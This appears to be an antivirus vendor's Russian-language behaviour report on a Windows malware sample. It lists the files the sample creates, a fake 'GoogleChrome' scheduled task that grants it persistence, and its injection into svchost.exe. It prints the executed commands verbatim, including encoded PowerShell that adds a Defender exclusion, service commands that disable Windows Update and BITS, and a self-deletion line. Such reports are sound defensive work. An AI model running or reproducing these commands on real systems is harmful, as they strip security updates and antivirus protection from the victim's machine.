Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\googlechrome
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\svchost.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\mntemp
- %HOMEPATH%\windows\antimalwareservice.exe
- %APPDATA%\google\libs\wr64.sys
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\windows\antimalwareservice.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAHAAeABqACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAH...
- '<SYSTEM32>\cmd.exe' cmd /c choice /C Y /N /D Y /T 3 & Del "<Полный путь к файлу>"
- '<SYSTEM32>\cmd.exe' cmd /c "%HOMEPATH%\Windows\AntimalwareService.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleChrome" /tr "%HOMEPATH%\Windows\AntimalwareService.exe"
- '<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleChrome" /tr "%HOMEPATH%\Windows\AntimalwareService.exe"
- '<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
- '<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHAAeABqACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\svchost.exe' buwtdtpumpekw1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJQlR6TwS6Qb2QQEpMLgG8ML4eba/XQfjR3iPVCrBYejlubcK2RlWEA1JzwdnKqOjE/aXe5Is3E4uWs8okGF4VH1DIdv0TQIegYI/rx26QKHZmuGQLcUjFo8AjEtCfx27QsV6z79ZM...
